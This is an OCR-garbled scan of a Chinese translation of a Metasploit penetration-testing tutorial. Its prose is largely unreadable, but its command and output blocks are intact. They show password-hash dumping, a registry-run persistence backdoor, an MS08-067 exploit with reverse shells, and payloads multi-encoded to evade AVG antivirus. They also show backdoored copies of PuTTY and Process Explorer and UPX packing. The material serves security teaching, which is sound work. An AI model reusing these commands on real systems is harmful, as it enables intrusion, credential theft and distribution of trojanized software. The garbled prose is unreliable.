REY RS A E R B AT LAR B AN L lrs S EZ R EE, SHRHETAHERDERE
A #, Ay LU run hashdump 6y & KSR 74

meterpreter » run hashdump

[*] Obtaining the boot key...

[*] Calculating the hbgot key using SYSKEY de4b35306c51595438a2f78f768772d2. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:s00:es52cach?419a9a224a3b108F3fabchbd: BBA6f7eacelth117ad0obbdd830bT586C: 1!

6.84 EEBWHILLRIENE

REESFINERRA LR AMBRE, TLETHEREQERNE. TEHHFRAR R
L. peap B INAERE T K, FHBEWEE Wireshark T RS THENL | HSREBITE
FERCREE, D inkBFERHIMF.

meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started

6.8.5 HERALZEEL

Scraper AT LIFIESHAREMNREFRPNEMFER, TUBRRASZNER. TREMW
EME. FRHEESHEE. KERSRE R ASY HKEY CURRENT_USER (HKCU).
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meterpreter > run scraper

[*] New session on 152.168.33.130:1095...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[¥] Exporting HKCU

[*] Downloading HKCU {C:\WINDOWS\TEMP\XklepHOU.reg)

6.8.6 THIFFALL

Meterpreter [l persistence JI& 78174 A Meterpreter {UH, DIH{R R4 )5 2 J&F Meterpreter
REEETT. WMRERMIEZETA, TAREEEKEEIRMEME. WREHEHTR, TLht
IR E N A2 E TR L.

BE, WwEEERIXAMHEE, FARARDARZSHTHS, R THNE, TTRER
BT A B AAGE, RERHE A A 426915 B 4.

W, BATLEAT persistence WAL RZH YL B 1380 Meterpreter (-X), 50 FF (i 50)
B, FH IR O 4 443C-p 443), 457 B 89 IP 4 192.168.33.129. 88 /5 | use multi/handler

- UEATHIT O, ERE T AR FFHAT exploit fr2, RJLLERA AR —H B T %
%O,

meterpreter > run persistence -X -i S0 -p 443 -r 192.168.33.129

[*] Creating a persistent agent: LHOST=192.168.33.129 LPORT=443 {interval=50 onboot=true)}
[*] Persistent agent script is 316384 bytes long

[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUGRwD.vbs

[*¥] Agent executed with PID 3160

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xE¥YnaHedoo: @

[*] Installed into autorun as HKLMASoftware\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc

mst> use multi/handler @

mst exploit{handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit{handler) » set LPORT 443

LPORT => 443

msf exploit(handler) > set LHOST 192.168.33.129

LHOST => 192.168.33.129

msf exploit(handler) > expleoit

[#] Started reverse handler on 192.168.33.129:443

[*] Starting the payload handler...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120) ©




¥6HFE Meterpreter

RS AP, BB Meterpreter 1B 0 —- 33 2 Bk HKLM\Software\Microsoft\ Windows)
CurrentVersion\Rum\tH )35 1} Z2 8 CAWINDOWSYTEMPAR ] VBScript 3CfF, F_CBRRHd %
A FRAEE (4lin HKLM\Software\Microsoft\ Windows\CurrentVersion\Run'xEYnaHedooc®). —
T LU Meterpreter %3] shell B it {7k . an EARHEB A GUI B HFERIE, aJLMERA run
vne A EERAMRAEREHTHER. (FEEEMERTHRTRFPLEE, FLEE
Metasploit %0 iE =& 68 /9 i iR T e % . )

6.9 [REEWHHRRIET

RACHIHRB B AHE, Meterpreter § M A FF# B EHFRAFEBBIGHRE, BN
Metasploit #5245 — BOARAERRR 2 . Ja T B 3571 A LUF B Bh AR R A TR U AR R B e B 45
. Meterpreter L& LLETER B R4, MHEASERE AR K.

B & — R AT — R UERE SR ERAR R EHE. R8T, WH, K
B 10 NI Meterpreter #35. LR EBAEMASER - — M Z 1T hashdump dr<9, =
5 E B A . TILFE, R F % ERIE, R0 AN A 2 i& #4732 B, [F 24T hashdump
il

THEREER T W B o i BT s s ol 7

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY desb3s306c5f595438a2f78f768772d2. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

{*) Dumping password hashes...

MBEEANEFAREBEN LR, TURXFERARSERE TAB :

meterpreter > run post/

6.10 <17 Shell A2k A Meterpreter

Metasploit ES2 M — M FIIEER P LIE RAM A FGHIRIR A sessions -u Ay S Rag 1T
shell 7 &% Meterpreter. TRBAT TR B8 & AFE ) fr-247 shell EARRZE, EXRAEAINZEHLE
Bt -SSR NMPERFEERE, XFEEE2EA S04 Meterpreter SIS B2HBIEFFH. T
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Metaspioit 3B R

18 B B8 MS08-067, LR 3y 4T shell 1B payload. #2548 H 28 8 Meterpreter shell
SNV

root@bt: /opt/framework3/msf3# msfconsole
msf > search msoB 047
[*] Searching loaded modules for pattern 'ms0B 067'...

Exploits

Name Rank Description
windows/smb/ms08 067 netapi great Microsoft Server Service Kelative Path Stack
Corruption

msf > use windows/smb/ws08 067 _netapi

msf exploit{msc8 067 netapi) > set PAYLOAD windows/shell/reverse_tcp

payload => windows/shell/reverse tcp

msf exploit(ms08 067 netapi) » set TARGET 3

target => 3

msf exploit(msO8 067 netapi) » setp LHOST 192.168.33.129 ©

LHOST => 192,168,33,129

mst expleit(msOB 067 netapi} > setg LPORT 8080

LPORT => BoBo

msf exploit(msOB 067 netapi)} » exploit -z @

[*] Started reverse handler on 192.168.33.129:80B0

{*] Triggering the vulnerability...

[*] Sending stage (240 bytes)

[*] Command shell sessien 1 opened {192.168.33.129:8080 -»> 192.168.33.130:1032)
[*] Session 1 created in the background,

msf exploit{mso8 067 netapi} » sessions -u 1 ©

[*] Started reverse handler on 192.168.33.129:8080

[*] Starting the payload handler...

(*] Command Stager progress - 3.16% done (1694/53587 bytes)
[*] Command Stager progress - 6.32% done (3388/53587 bytes)

- - « SNIP . . .

[*¥] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit(mso8 067 netapi) » [*] Meterpreter sessiom 2 opened (192.168.33.129:8080 ->

192.168.33.130:1044)
msf exploit({mso8 067_netapi) » sessions -1 2

[*] Starting interaction with 2.,.
meterpreéter >

FAMEH setg tyS R E LHOST H LPORT S50, XEMWH sessions -u 1 15O+ N
Meterpreter PIBF IR LT  (setg fir-4H LPORT #1 LHOST £$1% B Metasploit f12F%E
&, MARRRBEZ —TRRZN. >
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#68 Meterpreter

AT AR RIBHERIER T exploit -z 740, XM ar& RAFERIIRE BFRRY
ARG TS E . MEAXEFARR exploit rd, HLAB B#hi%E CTRL-Z 6% H
Bl iEaEG=T.

6.11 iEidHiinES Railgun B1&3%{E Windows AP

Patrick HVE %% 5 9 Metasploit B i A #—Railgun, 3] BLE S Windows A< APT #t1T
AZH . % Railgun R0 E) Metasploit #E2E, UR#h Al ELIE 1T Meterpreter 1 Windows APL. Z54-ff
F, TEFEECEYS, B Meterpreter 3 A B —A~38 B 3UH Ruby shell(itb). irb shell LT
Fi Ruby BjiEE: Y Meterpreter AT H .. XM T HHEMIIAA Railgun 818 — 1 H R “hello
world™ FI33HE,

meterpreter » irb

[*] Starting IRB shell

[#] The 'client’ variable holds the meterpreter client

»> client.railgun.user32.MessageRoxA(0, "hello”, "world","MB_OK")

7F Windows XP B && L, o[ LIERIFEHE L, 584 LR world"E BAE L& “hello”,
XA, BRI RHBMASEMERA T wserd2 dll PH) MessageBoxA H# .

2R: AT Windows AP #7i% M4, <TvAiF 8 http:/msdn.microsoft.com.

X ERAIE A H 21 Railgun B 4B (PR0) LU T H F) Metasploit #2432 H % T ®R134E
BEFEM: external/source/meterpreter/source/extensions/stdapi/server/railgun/), {BYR0] LIERTEE
IR K INRE .

B2 B Railgun GERIRIZEE T Win32 KM HAZR—# U7 al Windows API BIBES .

6.12 /%5

{8 IR RERTE N Meterpreter SE8H T 74 TR . BRITEEB N Meterpreter B i H ThREFI S EU#
T8, BRARINTERERELFREAPEEMRXTIA. Meterpreter £&— M EERFEFT R
TR, F—XEY EBHEIARNTAENTRE. YRS THENMTFEORNNIK, SXEERS
HEREMFORET . 3 16 TR, RESZIOMLFERECE R H SR Meterpreter i 2,
T #2 3 Meterpreter B4 ik 88 55 2 (o] & vH A .
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BETBENEAN, REMNFRTTHEREXFSRUHE, ZH2—MREZEEN
B4 . WREFFLWTRISTRRAE, BARKEHFRBEARRESNE, FREEHE
Midkee DiF, FEAES, RIMNGFE-EFTEEEABREMEE, F AT —ERANMRE
RAE.

KEHRBRM AL (ignatures) RIRFERAE . SEAFELREERBI RS,
Rz A ERTHE, FIFROLANE. RBALENSSE, RBERGSHHMALERE
2: ABHSBERUREN HE RS, AREEESITHNEE.

WREZATPEE F), XFRAENRE R At 84, SariERARAREX, REE
AT KEAFERBMRET RRAN CHEEITRERST . KK, FEDLALBER, NIIE



Metasploit #iZE R XI5

KB IEREEFR A, MASRASERMY. KAER RN E R, AREZENA
AR T .

BN, RERAT ANEEAROEE, IMILFRESERABMBAL. WRHE
BB/ MR A RBEEEARITER, BATRATREHENFERARNE.

A T RIFARBHESE, BN LN ZRRBERARIPPNE A1 — M — G B85
EASSRAERFNEAIFES LA Ko, HEITEENSBENGR, Metasploit BB
AU NERFRIET, DEENEBEARMNE -, SIHBMIEERGH LEREBREE,
AEZHAFEHHLERSN L E O BRRS HiETT.

EREDNERMNPELSDELE R Efmd, MREEBEGAGHETENES. BINE
g BB E AT RS AR R ERFRY, FUHAXENMANFETARBASE, HENRE
ERBEREMTHEELA. $¥ELAHER, BATENEALEEZEXNER,

7.1 {£H MSF IEH# 74 =8 6 B rl IR 3757 & o

R RREARZE], Sk EEWF#EHE MSF 3774 R 28 (msfpayload) Bl —
PMTBNLELTH) Metasploit AR . ER¥EE, RATACIE —/ME BRI shell 127,
REEs Il F S B &P, FAH -4 shell. XBENMFH msfpayload 4r & FH A
windows/shell_reverse tcp B, FF &, RAVEH shell_reverse tep B8 O EIN KBS
Ay HR S8, WO,

root@bt:/# msfpayload windows/shell_reverse tcp 0 O

. - SNIP , . .
Basic options:
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

RAFERNIT — KIT msfpayload &%, M LR Windows PE 4 (H #4730
FreRAE TS KERNTFEEH—MWOFH X 28 LU e RO

root@bt:/# msfpayload windows/shell reverse tcp LHOST=192.168.1.101 LPORT=31337 X @ >
fvar/www/payloadl.exe
root@bt:/# file /var/www/payloadl.exe

var/www/payloadl.exe: M5-D0S executable PE  for M3 Windows (GUI) Intel BO3IB& 32-bit

MERNTT T — ol #47 30, TEEA1ER multi/handler LT MSF K34Eh Bzh -M Ik
WF2%. mudti‘handler ¥R S09F Metasploit 3 5 UE R 1T T A ALTE.
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FTE RFRAA

msf > use exploit/multi/handler ©
msf exploit{handler) > show options ®

- - - SNIP . . .

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.1568.1.101 yes The local address
LPORT 4444 yes The local port
L] SHIP L ] ] ]

msf exploit{handler} > set PAYLOAD windows/shell reverse tcp @
PAYLOAD => windows/shell reverse tcp

mst exploit{handler) » set LHOST 192.168.1.101 ©
LHOST =» 192,168.1.101

msf exploit(handler) > set LPORT 31337 ©

LPORT =» 31337

mst exploit(handler) »

BNBAT multithandler RO, FETRRRFIFHENTZHO. REREVGEHTH
Windows 2 shell®@, LAVCHCEATISE AT €1 B FTHRATSCM, ISR IP ihte, LA
KW 0@ . BLTCHTHAAE® . LAE 258 .

7.2 BRERFRERFRIE

ETEMEFPRIGLERT ZRAH AVG R BRFEARANT. B F R A LB KITE
WEAMMAITEA, SHERKENE, AUBNTERLCHFEBERGEEA N, EESH
BRI EWEF R, CIRERINMZT 8 BIRAIET.

EFRFIH, JRTMEH AVG XHERRF) & 8 H AT RRE, AVG RERM T HE,
& 7-1 Frm.

IFI- Comporans HMstory Tools Help

AVG You ure protectsd. ,,
Anti-Virus ; Al secuity fmatires s workarg
e E R

= -

Scan resulis

Fllnl::wlnuw ilnfu-:m i

Fin inkscion . PAena
T# C:\Documents and Solinge\adminieialor Deskiop\oaoad| e Vit loord Wi Hex  Infocled

¥} Shal sstanmeon wcan

| C——

A 7-1 AVG R R R BERE AR S EREAD
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Metasploit ;3 iEMX 5

7.2.1 {88 MSF 45i3:%

B A FNBRE TR BIEA MSF 5548 (msfencode) 3TN 8L AT SR T
HEH G, MSF RIGBE—NMFEEANTR, RS HAT CEPrARER, 1R
FHEAAHERRMET, NMEFEASZIMEMEW . F8EFHEEM ¥ Base6d E¥riw
ML, MSF WS RSN T WITERF TSN, FHER R R0 SN XH
BiTIE . MSF S48 SR R RS R N AT I AT

Al LA ¥ /] msfencode -h ap T FH MSF 4B EFMNEE, N3P BEAITENE L&Y
BAFAXKMER. W FEGFHR, HA1T UE R msfencode -1 7 HATE o i migigt. i
EEREPGERE G FAAFR KR ERE LS. HTEBARFE, —4 Power PC (PPC) %G

% E R HE x86 F & L ERTIRER TE.

root@ébt: /opt/frameworki/msf34 msfencode -1

Framework Encoders

S = S+ T F F+ >+ 1 I 1]

Name Rank Description

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
generic/none hoTmal The "none™ Encoder

mipsbe/longxor hormal XOR Encoder

mipsle/longxor normal XOR Encoder

php/basesa noTmal, PHP Basebq encoder

ppc/longxor hormal PPC LongXOR Encoder

ppc/longxor_tag hormal PPC LongXOR Encoder

sparc/longxor tag hormal SPARC DWORD XOR Encoder

X64/ x0T hormal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_uppex low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid utf8 tolower manual Avoid UTF8/tolower

x86/calld_dword xor normal Call+4 Dword XOR Encoder

x86/countdown ngrmal Single-byte XOR Countdown Encoder
xB6/fnstenv_mov normal Variable-length Fnstenv/mov Dword XQOR Encoder
x86/jmp_call_additive nommal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Nen-Alpha Encoder

x86/nohupper low Non-Upper Encoder

x86/shikata_ga nai excellent Polymorphic XOR Additive Feedback Encoder
xB6/single static bit manual Single Static Bit

xB&/unicede mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
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HTE RFHEK

M 2E S T % MSF W di R AT 4, RATH msfpayload L RCHER I8 IR M A
msfencode B, HEESERPTHITIHESASHRTFHRAHAE.

root@bt:/# msfpayload windows/shell reverse_tcp LHOST=192.168.1.101 LPORT=31337 R @|
msfencode -e x86/shikata ga nai ©® -t exe © > /var/www/payload2.exe
[*] x86/shikata_ga nal succeeded with size 342 (iteration-=1)

root@bt:/# file /var/www/payload2.exe @
fvariwew/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

B AN17E msfpayload ar% /5 AR R 75 O & FE Ml BRaGEEE ., B RANIFRITHEIREEE
B @B A msfencode irdF . 1HE(FH x86/shikata_ga nai ZH 35O, H 51T MSF %
PR A4 exe (-texe ®) , BIHBEISCHR Aivarmwwwipayloadl.exe. BJg, BN KR
AT RER RO, TR R Windows I HUT KR, BREBESERGHFRIILMA
BENE., RIOAENRE, HEADE payload2.exe ¥ LR A8 Windows THL LG, AR EE
g AVG B . Wl 7-2 B,

Fil# Comporants History Tools Help

L e —

You may not be protected! Ploa-., check e totsypy of . ‘
“hfti o Resident Shickd: Disabled © raseBR
Anti-Virus o

Free Edivon e

. , ___ 5can results
éx:;'u'“'"" Results averview | Infecons
‘.EL- Computer $Canmes File Infechon Rent
EEMHMMM.
& fpadabn ow

'_u_-ldF l

B 7-2  AVG ¥l W34 14m iS5 M BrrE o O RS R AR

722 % EEHY

IR R SO P SRR T R, RIMNARABRMHZHSEER - HIEE R
FeRk, ROAEXNCA#ITHG, MABRESENEBRESRHEE, AMEBRNHRKRESG
HISCHE. ZE Metasploit #2380, RATT EMEA £ B KB XMRN, XRPEORAFN
i B SRR T £ kRS, DSBIL R FTRH RS ESRA.

TEATEH 7 F A shikata_ga nai /ISFHAREZE & (polymorphic) B, HHEEE, BK
Al ) I AT SCHFARAS B RERAH AR GRS P AEEAME 8 ARERE
LIRS, MANEREAZ.
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Metaspiloit &5 R A tEMA

YRR ATIB BRI AT, BRI M2 — D R A RSP B A AL AR ) X BEAT TR,
gt i, T2 —MEH T 2 BB r.

root@bt : fopt/framework3/msfif nstpayload windows/meterpreter/reverse_tcp
LHO5T=192.168.1,.101 LPORT=31337 R | msfencode -e x86/shikata ga nai -¢ 5 O
-t raw ® | msfencode -e x86/alpha upper -c 2 @ -t raw | msfencode -e
xB6/shikata ga nai -c 5 @ -1 raw | msfencode -¢ xB6/countdown -¢c 5 @
-t exe -o fvar/www/payload3.exe
[*] x86/shikata_ga nai succeeded with size 318 (iteration=1)
{*] x86/shikata _ga mai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga nai succeeded with size 372 (iteration=3)
[*] x86/shikata ga nai succeeded with size 369 {iteration-=4)
[*] x86/shikata_ga nal succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 {(diteration=i)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata ga_nal succeeded with size 1940 (iteration-1)
[*] x86/shikata ga nai succeeded with size 1969 (iteratien=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga nai succeeded with size 2027 (iteration=4)
[*] x86/shikata _ga pal succeeded with size 2056 {iteration=S)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] xB6/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msti

TAIERHT 5 X shikata_ga_nai iSO, HEEERIRGEIEO KT 2 X alpha_upper
IS0, G FEHIT 5 1K shikata ga_nai RIZO, FEE T 5 1K countdown HRIEO, BSEER
AT AR A THTRALE, RERNMTAERE—ILRATT 17 KRG, wE 7-3 F
B, IXIRBAT I B T BT A D b SR T R 3 51 0.

Scan results

n Gviiviaw : Hmsuts ovennew :

q Compisine 5cCara " Scan"Shell exionsion scan’ was finithed

3 Shel atanson scan

- —— i —— i, . i

& Updals wav It Mo wfachon wes louhd dunng thes scan

ER 1o
Fa

Folders sefacted for scanmng C. \Documents and Sedmngs Vidmnizh alor Dieskbop\papkosd T e,

B 7-3 AVG FR M HE T £ BRI T8R 5
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ETH BEREA

7.3 BENXTHITMHERER

AHEERF, BT msfencode fy2R), B e # A BIBA I RTHAT SR, BUA
AR AL T datattemplatesitemplate.exe. BRRIX MR CHNEFER, HEKEERBRH
) MEABEBRHEENNESXENR. L, HITRAE msfencode I FF{EH-x M FER T
BB Windows A ITRET RAH IR . £ TEHF TP, BNEFSHERGRTH
19, MK Sysinternals EF Y Process Explorer BEFFAE X B B XA ] AT RIFHR .

root@bt: fopt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip ©

- - = SNIP . . .
2011-03-21 17:14:46 (119 KB/s} - 'ProcessExplorer.zip' saved [1615732/1615732]

root@bt:/opt/ framework3/msfist ¢d work/
root@bt: /opt/framework3/msf3/work# unzip ../ProcesskExplorer.zip ©
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@bt: fopt/framework3/msf3/work# cd ..
root@bt: fopt/framework3/msf3# msfpayload windows/shell reverse tcp
LHO5T=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe ©
-0 /var/wew/pe_backdoor.exe -e x86/shikata ga nai -c §
[*] x86/shikata ga nai succeeded with size 342 {iteration=1)
[*] x8&/shikata_ga nai succeeded with size 369 (iteration=2)
[*] x86/shikata_ga nai succeeded with size 396 (iteration=3)
[*] x86/shikata ga nai succeeded with size 423 (1teration=4)
[*] x86/shikata pa nai succeeded with size 450 (iteration=5)

WARBT I, BAIM Microsoft M3 T8 T Process Explorer #i4-@, H B EHEAEE®. I
i H-x R =38 T T 3 Process Explorer i HICHEAFRIIFIBE X ERO. ®Mig5EkE, B
{138 1T msfeli f8 30 mudtizhandier PR A RERESAT WY, W R,

root@bt: /opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
shell reverse tcp LHO5T=192.168.1.101 LPORT=8080 E

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.1.101:8080

[*¥] Starting the payload handler...

[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.195:1191)

C:\Documents and Settings‘\Administrator\My Documents\Downloads>

H, ROIBDIMITH T —NZER shell, T HEFHRAERMARZ!
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Scan results
m' Grorview CHesulls ovsrnmey

q E“-"t“- .““' ." . Scan "'Sholl axtenzson 2can' wat lnathed

3 Shell sdtanann soan

alll—

&_U T - k4 Mo ntechon was found duong the scan

Folders selected for scanmng C\Documents arkd S ettngthadmmatision Deskiop\pe_backdon eums,

B 7-4 ETHENRFREGTHE AVGER

7.4 RREbHER— NG

ANEBHHHT, A TR RRNBIRAE LR X & G Tl 47T X458,
fra@MEERLE, ZRTESIIEAL M. ATEESEHFEM, RO LUERBH & E N
fRIR, ib7E EREFRERIEEITER, WFFR:

root@bt: /opt/framework3/msf3# wget http://the.earth.li/~sgtatham/
putty/latest/xB6/putty.exe ©

L} * SHIP L] k 4

2011-03-21 17:02:48 {133 KB/s) - 'putty.exe’ saved [454656/454656]

root@bt:/opt/framework3/msf3# msfpayload windows/shell reverse tcp
LMOST=192,168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -0 fvar/
waw/putty backdoor.exe -e xB6/shikata ga nai -k ® -c 5

[*] x86/shikata ga nai succeeded with size 342 (iteration=1)

[*] x8&/shikata_ga nai succeeded with size 369 (iteration=2)

[*] x8&/shikata ga nai succeeded with size 396 (iteration=3)

[*] x86/shikata_ga nai succeeded with size 423 (iteration=4)

[*] x86/shikata_ga nai succeeded with size 450 (iteration=5)

IXEBNTTFR T Windows FREE R SSH % P PuTTY O, SRS Al-k AL 2 PUTTY @,
kT EEBRRHRFE MY ARETEE, FHEEIEFTFRINASZIEW, nE
7-5 iR, M AVG FHAERKHIEHAN, RARNEF. WEIRM shell /5, PuTTY /7
MREFEFEZET! (RHEFAA—CRAERENTHTEF L, EXFRBRGINFRGRCELN
LRHER T THR. D

SLRARIT R B R IR A BN HAT O, WMAXREFA-KETR, BABFFHERR
EHIMARE, BAMBRERT ML iTNARR, ZBGEEAeEsE,. ESEBEEN
AEALEER—MaSiTHO, XMFOBERMGHAVRTEASHEE. T0REHEE R E
NAEBEF, ERE-k 88 AEENBENRNUASBE TAEMEMAE O, X EXEIE T,
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BTE HRFERAK

X B T ik R IR FF S RATIR &

Scan resulls

vi:; D - FHmgiits overview
Scan "'Shofl exlantion 1can’’ was brvshed

t=d Mo miechon wag lound dunng ths scan

j Folders sedected Ior sSarwwig, CA\Docurnants std 5 ettogedmnsbatorDeskioph ooty backdom e

®7-5 AVGROBRGHA IHFRESMN

7.5 N

S R — A8 AT AT R AT I E A A B R A LTI R, Hinidsk
B RIATIS, MRS N B A EEE h il B R BT, X R x A R A Y
5, BTLAINGE FE AT DR B A TR . NS, WTARITSOMEE S, TThARSS BRI
h—#.

[F] MSF $miBas—FF, INFT8ek tom] DA ARSI SAT S0 65 ). A1, MSF HmEFE ¥ =
18 B0 BT AT SRR KD, TR OBk B O B e S F R E R M, — HEIX AT 04T S0 84T
s, B—HEL A AT ES . FiE, 017 BackiTrack &1 ) 23 UPX fnk
iR RATHY payload3.exe HATRMBAESS, LLERRH% M HET S RALTE.

root@bt: /4 apt-get install upx ©

[ ] SHIP [ ] [ ] L ]
root@bt:/# upx @
Ultimate Packer for eXecutables

Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & Jchn Reiser  Sep 27th 2008

Usage: upx [-123456789d1thVL] [-qufk] [-o file] file..
iilSNIPill

Type 'upx--help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit hitp://upx.st.net
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root®bt:/# upx -5 Fvar/www/payload3.exe ©
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009

UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser  Sep 27th 2009
File size Ratio Format Name
37888 -» 22528 59.46% ® win3z/pe paylecad3.exe

Packed 1 file.

BAE SR ET UPX 8430, BIIBA—MAFEEMN UPX moOLAF I FHERE
M. BEFFERAVER-5 EIMBA M T AT XAEIT L GR I Inm e . AOLRATLLE R UPX 3K
IR RGBT AR R T 59.46%.

TR D, 492 MRETFEPNE MY UPX IR EFRN LHFEEREHE.

t27R: PolyPackProject ( http://jon.oberheide.org/files/woot09-polypack.pdf) A7 T *f — sk
ke B &AL A1 A BT de R A he R WS R B & XA e 3T,

4 AR N
EAE P HAULANE T msfpayload F+ msfencode B A 824, T g —

AW LR msfvenom, T3 msfpayload # msfencode ¢ REMR S E T — A~ F o N1

#H B piad, REPEE S msfvenom AT H N (TRALFHEB), EHEH

1\ # 7 msfpayload # msfencode #45, HYREHUETEEHAE, y

(mu

76 MG XTRFLENRRBE

FERMGFHADF AR, HELERMEERELGER, BIEXTHENNK, 5%
h - FJRIHERTESERERY; HESEEH, 2RABRARNLIPTARNETREFERSTN. &
$R Metasploit FF& [FBARMrHu B S 1T R 8, HHREgE e Em, HWRRE
BAZR AL ELEH FAEFRN, AOBBIRF. W EFE, JPRSE N 4R AT
SR, NERBLHEFARSSENMNAEESF, mSEEHSTHE LR, FHEuRERN AR
A—#, ARMEFELSMPLRAOETMNR, ZEFERESEHFETHFEPRADIILE.
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EILE, EETHE;ANEHRARERESTNBENGRIMRII RN, JEL
KM RANKGHEEE LIRS, HEEESEIREFRN. FNE RN ITEZ B G Mm]
FEA. BPRBERGEREMSEMAERENTRMERET, HWATIRE FFHNBE
k. XRUELH R EN DB HE MR, Sl Web dBLAE . PDF [ 123 AT X
RIDATHE, ATENEERNRE LRXENAKE, EMRRNLRANRFHNR
i HAR. LR EREBFT EH, LHEFETH, VL ENHRSEEL FHBRER
AALemRE. Metasploit &F T —HWEKFF BREEBHER, RIOEERX —FEPIIT
RN B .

MRIREEB ST — AR XBAAF L RRE, HFABEHF b —MEESR, X4
RRINBAZTREHILERESMRA. BREREERSEH S TEEN A6 LEREEEY
W, RE—HHYMAIRLS B P BERF RERINEERRE. WA AREAGFAENL, 28,
RIE S, MEHAAMSNR, HERE—PMRAFMNEMERFIR. REHRE—HEELEF, &



Metasploit i&i% i1 S

MR E AP — N (RRERSEBE ) KEFRIHRER. REHERA
sl T HBEF B rEdE, Rl P EVIRSwiEn, RE IRl LRI A 22 7l PY R 42

X NS REFHHRERBNZNE R R AL FGH. B THTREATRM
F R BRIFEREEEIGE, NP NATHEEENES. RS ZHRERE. KEFHEDH
WHEATRABRSEZWTH AR E RS (IPS). Web MR KIEFREREP B LEREE
HBEM LHRZEN, MARBRAMIMNKEIZAFTOMNMRL, XTIt ITEETER
Bt

F£2011 3 A, BEREEFARDUNTIAR TEFELZRNRLRELH—RSA, —AEERD
HARE T —#HPAapftaf e AR, XTIENE — 10 RER Adobe Flash 0day JWiF M
foid. (IXFFB TNt Spear Phishing, RIS PEHI&RmEEAR. st EBEIBEIGER K
P8 H b RN MR R, TARA— &2 MTEAM LS ER.) EXRAR RSA
FIFRAE T, A s B L RES —AENA P RS mAIT#HA T RSA AT KR EBX
BRI, REd PREEAARTLGTRE,

8.1 ZETHEHEAZEWT

EX TP, BATRIRPITE Metasploit HERFE T WA BEN L. B TFEREHA
AP HE, iR EHERZNMARSE, B, ETRNEMEERGE R AE
AMEEMFER,

B AS—THR: BB RAEENBGEEGENHARH —PHEAR. &
FB P i BRI, ARATT B SRR S U M A TS S A A PG, X BBk M M M=
i E M ERE IE ZINEPH—MEFRE. mERACANNRESEQSRFARNES,
AR 2 S ey 3 W 2% 07 R E B MG, M ENBEM ST RTITES. MER
i #E XD, WA AR Meterpreter RIZA8 AT, 00T UEEER B R P LB 38 b g 120 1
.

XBEHITHEEENXE L WRBAAPELEELRBRETHNARER, BoaRtak
FRRAMNBHR. & TF A RABEEHEEE ARG E N BREFMETHIA A RE.
W LA AR REERN S, BABRNFTERITERESOREREESEENE, XEkE
FHEHIT TR HEDG . RIWATUFEFETHHEDMPETREMRA TN, REEEH
AR, RREMERT, JWAPNRETZEUERMNESHSENHR, XEERRTER
AR, K REREB YR EERE? ERAEE AP AT LAY X538 ?

Jm )
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He8E ERRESBEINEH

8.1.1 ETINRrEENLRE

B0 o YL AR FB B M K B T H A SR B MG KB KA FRZET shellcode FIfE BT H
Re EEGAFBEREP, HHE/NETBRRERIRZERERITHIS, REHEA—IME
BB EHRE. RMAERERSBRG T, O TRBRITHERNEHBEERFRE, EEAAH
— PR RR o HEWESY Cheap spraying) RURRAFIAE AR . EiRgiHieEmatEi R 50, IR FH
Ef4 W, URE &I T .

WREH TahASENERAFTE, NARFEETHEEMNIXBATFHITEHEDEH.
MARFSRETFR, BB EFAsRAEELENES. THSmME D NERTFT&
FLHITH A=), LLRENRREEa P C2FRANAETR. £RFMmhaTiEES,
MTHEENS . AFENDERLERMNET, ATUAEIIAR4E shellcode T NIEHHIMLINE .
¥ HERS A FA ok 4y BC R BEALET, BrUlBER RERR Rt pkss 5 — N Ehll, BFFHEFX
ik E o RICGEE AR E . EHEEH AR R R AT, KRR B E T R
TEHGEZ -,

TEASLT AT RZAT, RAEHTHEANMES: TS (NOP) MFHE4BEITR (NOP
slide). FATEAES 15 EHFER TS, XEREMF SR, REP AT
